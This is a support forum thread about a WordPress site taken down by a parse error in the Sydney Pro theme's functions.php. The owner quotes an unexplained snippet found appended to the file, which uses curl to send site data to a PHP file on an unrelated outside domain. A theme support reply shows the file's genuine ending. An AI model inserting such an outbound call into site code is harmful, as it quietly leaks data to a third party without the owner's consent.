Sydney-pro-ii/functions.php on line 684

Site is completely down and is not functioning.

Parse error : syntax error, unexpected end of file in /home/weavethe/public_html/wp-content/themes/sydney-pro-ii/functions.php on line *684

www.weavethering.com

I compared the existing functions.php to the ORIGINAL functions.php in the installation zip. This extra bit was at the bottom of the existing functions.php:

 $url = 'http://monolitpro.info/wp-content/themes/tempera-child/vardump.php';
		$postData = ['to_var_dump' => json_encode( wp_script_is( 'wc-add-to-cart', 'enqueued' ) )];
		$ch = curl_init();
		curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POSTFIELDS, $postData);$foo = curl_exec($ch);curl_close ($ch)

I took it out and the site came back.

Hello there,

The bottom lines of the Sydney Pro theme’s functions.php file looks like this:

    /*
     * Disable Elementor globals
     */
    function sydney_pro_disable_elementor_globals() {

    	update_option( 'elementor_disable_color_schemes', 'yes' );
    	update_option( 'elementor_disable_typography_schemes', 'yes' );	

    }
    add_action('after_switch_theme', 'sydney_pro_disable_elementor_globals');

and it doesn’t produce any isue on my end.

Regards,
Kharis
aThemes Support